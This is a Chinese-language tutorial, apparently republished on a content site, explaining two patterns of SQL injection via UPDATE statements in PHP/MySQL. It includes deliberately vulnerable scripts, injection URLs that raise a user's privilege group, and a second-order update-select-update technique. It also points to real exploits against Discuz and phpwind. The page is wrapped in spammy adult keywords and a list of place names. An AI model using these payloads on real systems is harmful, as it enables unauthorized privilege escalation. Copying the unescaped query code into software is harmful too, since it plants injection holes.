久久精品人人爽,华人av在线,亚洲性视频网站,欧美专区一二三

UPDATE注射的兩個模式是什么

140次閱讀
沒有評論

共計 3463 個字符,預計需要花費 9 分鐘才能閱讀完成。

今天就跟大家聊聊有關 UPDATE 注射的兩個模式是什么,可能很多人都不太了解,為了讓大家更加了解,丸趣 TV 小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

一. 測試環境:

OS: Windowsxp sp2

php: php 4.3.10 (

mysql 4.1.9

apache 1.3.33 

二. 測試數據庫結構:

—-start—

—  數據庫: `test`

— 

— ——————————————————–

— 

—  表的結構  `userinfo`

— 

CREATE TABLE `userinfo` (

`groudid` varchar(12) NOT NULL default ’1’,

`user` varchar(12) NOT NULL default ’heige’,

`pass` varchar(122) NOT NULL default ’123456’

) ENGINE=MyISAM DEFAULT CHARSET=latin1;

— 

—  導出表中的數據  `userinfo`

— 

INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);

——end——-

三. 測試模式:

1, 變量沒有帶’’或 [MOD1]

?php

//test1.php Mod1

$servername =  localhost

$dbusername =  root

$dbpassword = 

$dbname =  test

mysql_connect($servername,$dbusername,$dbpassword) or die (數據庫連接失敗

$sql =  update userinfo set pass=$p where user=’heige’// –$P 沒有使用單引號

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);

echo 

SQL Query:$sql

?

腳本里只是修改 user=’heige’的 pass,如果 groudid 表示用戶的權限等級,我們的目的就是通過構造 $p  來達

到修改 groupid 的目的:

那么我們提交:http://127.0.0.1/test1.php?p=123456,groudid=1

在 mysql 里查詢:mysql  select * from userinfo;

+———+——-+——–+

| groudid | user | pass  |

+———+——-+——–+

| 1  | heige | 123456 |

+———+——-+——–+

1 row in set (0.01 sec)

用戶 heige 的 groudid 又 2 改為 1 了  :)

所以我們可以得到沒有’’或  update 的注射是可以成功的,這個就是我們的模式 1。

2, 變量帶’’或 [MOD2]

?php

//test2.php

$servername =  localhost

$dbusername =  root

$dbpassword = 

$dbname =  test

mysql_connect($servername,$dbusername,$dbpassword) or die (數據庫連接失敗

$sql =  update userinfo set pass=’$p’ where user=’heige’// –$P 使用單引號

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);

echo 

SQL Query:$sql

?

為了關閉’我們構造 $p 應該為 123456’,groudid=’2  提交:

http://127.0.0.1/test2.php?p=123456’,groudid=’1  在 gpc=on 的情況下’變成了’

提交的語句變成:SQL Query:update userinfo set pass=’123456’,groudid=’1’ where user=’heige’

mysql 查詢:

mysql  select * from userinfo;

+———+——-+——————–+

| groudid | user | pass  |

+———+——-+——————–+

| 2  | heige | 123456’,groudid=’1 |

+———+——-+——————–+

1 row in set (0.00 sec)

groudid 并沒有被修改。那么在變量被’’或 時   就完全沒有被注射呢?不是   下面我們看模式 2:?php

//test3.php Mod2

$servername =  localhost

$dbusername =  root

$dbpassword = 

$dbname =  test

mysql_connect($servername,$dbusername,$dbpassword) or die (數據庫連接失敗

$sql =  update userinfo set pass=’$p’ where user=’heige’// –$P 使用單引號

$result = mysql_db_query($dbname, $sql);

mysql_fetch_array($result); //$p 的數據寫入數據庫

$sql=  select pass from userinfo where user=’heige’ 

$result = mysql_db_query($dbname, $sql);

$userinfo=mysql_fetch_array($result); 

echo $userinfo[0]; // 把 pass 查詢輸出給 $userinfo[0]

$sql = update userinfo set pass=’$userinfo[0]’ where user=’heige’

$result = mysql_db_query($dbname, $sql);

mysql_fetch_array($result); // 把 $userinfo[0]  再次 update

?

我們測試下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1

回 mysql 查詢下  :mysql  select * from userinfo;

+———+——-+——–+

| groudid | user | pass  |

+———+——-+——–+

| 1  | heige | 123456 |

+———+——-+——–+

1 row in set (0.00 sec)

HaHa~~  成功注射   修改 groudid 為 1。  這個就是我們的模式 2 了,簡單的描敘如下:

update– gtselect– gtupdate

四. 實際模式

模式 1:Discuz 2.0/2.2 register.php  注射  

漏洞分析:http://4ngel.net/article/41.htm

Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm

模式 2:phpwind 2.0.2 和 3.31e  權限提升漏洞

  漏洞分析:

update (profile.php  注射變量為 $proicon update 語句里為,icon=’$userdb[icon]’)

|

v

select (jop.php)

|

v

updtate (jop.php)

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

看完上述內容,你們對 UPDATE 注射的兩個模式是什么有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注丸趣 TV 行業資訊頻道,感謝大家的支持。

正文完
 
丸趣
版權聲明:本站原創文章,由 丸趣 2023-07-27發表,共計3463字。
轉載說明:除特殊說明外本站除技術相關以外文章皆由網絡搜集發布,轉載請注明出處。
評論(沒有評論)
主站蜘蛛池模板: 黄大仙区| 五常市| 南皮县| 大荔县| 伊川县| 玉环县| 沙洋县| 读书| 绥中县| 明星| 宝山区| 奈曼旗| 澳门| 五指山市| 军事| 房产| 当阳市| 奈曼旗| 上栗县| 津市市| 沅陵县| 遂宁市| 互助| 松原市| 淮阳县| 贡觉县| 拜城县| 偏关县| 鄂州市| 甘南县| 纳雍县| 孟连| 清河县| 屏东县| 米林县| 宾川县| 海伦市| 绥化市| 本溪市| 克山县| 扎兰屯市|